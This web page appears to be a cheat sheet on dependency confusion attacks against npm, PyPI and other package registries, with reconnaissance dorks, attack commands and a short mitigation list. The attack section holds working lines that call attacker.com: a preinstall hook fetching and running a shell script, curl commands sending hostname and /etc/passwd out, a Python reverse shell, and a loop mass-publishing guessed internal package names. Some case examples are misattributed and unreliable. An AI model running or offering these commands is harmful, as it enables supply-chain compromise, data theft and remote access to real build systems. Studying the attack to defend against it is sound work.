Loading...
Attackers upload malicious packages with internal-sounding names to public registries, tricking builds into pulling the malicious package.
Dependency confusion attacks against npm, pip, RubyGems, and other package managers.
Last updated: 2026-05-15
Dependency Confusion = tricking builds into pulling malicious packagesInternal package names guessed/leaked + public upload = compromiseAffects: npm, PyPI, Maven, RubyGems, NuGet, Go modulesVideo Reference: https://youtu.be/LEFikziGL6s?si=i3qxpTus7I3qnp7u#1: Company uses internal package: @company/internal-utils#2: Attacker uploads @company/internal-utils to npmjs.com#3: Build system checks npmjs.com FIRST (default behavior)#4: Malicious package gets installed instead of internal onesite:github.com "company/internal-" OR "@company/" OR "internal-package"site:github.com "package.json" OR "requirements.txt" OR "pom.xml" "internal"site:pastebin.com OR site:gist.github.com "@company/" OR "internal.utils"nuclei -u https://target.com -t dependencies --tags dependency-confusionnpm install @company/internal-utils --dry-runpip install internal-utils --dry-run 2>&1 | grep "Could not find"gem install internal-utils --dry-runmvn dependency:resolve -Dartifact=com.company:internal-utils:1.0npm init --scope=@company --yesecho '{"scripts": {"preinstall": "curl attacker.com/payload.sh | sh"}}' > package.jsonnpm publish --registry https://registry.npmjs.com/python3 setup.py sdist && python3 -m twine upload dist/*curl https://attacker.com/$(hostname)/$(whoami)bash -c "curl -X POST https://attacker.com/$(cat /etc/passwd)"python3 -c "import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s,stdout=s,stderr=s)"echo "malicious-package=v1.0" >> /etc/yum.repos.d/internal.repofor pkg in $(cat internal-names.txt); do npm publish --registry https://registry.npmjs.com/ $pkg; donenuclei -l dependency-confusion.yaml -o results.txtsubfinder -d target.com | httpx-toolkit -silent | grep -i "npm\|pip\|maven"Event-Stream (npm): Malicious package with 3.6M weekly downloadsESLint-scope (npm): Typosquatting + Dependency Confusion hybridBrowseAloud (PyPI): 400k+ downloads of malicious packageCodeCov (multiple): Supply chain attack via dependency confusion#1: Use .npmrc with scoped registry configurationecho "@company:registry=https://registry.company.com/" >> .npmrc#2: Enable package-lock.json / Pipfile.lock verification#3: Use --ignore-scripts flag during install (defense in depth)#4: Monitor public registries for your package names#5: Use internal mirror of public packages (air-gapped)Ready-to-use Nuclei template for detection
Complete practical guide with examples
Check npm scoped package configuration
Tool for detecting known vulnerable dependencies
Commercial tool for supply chain security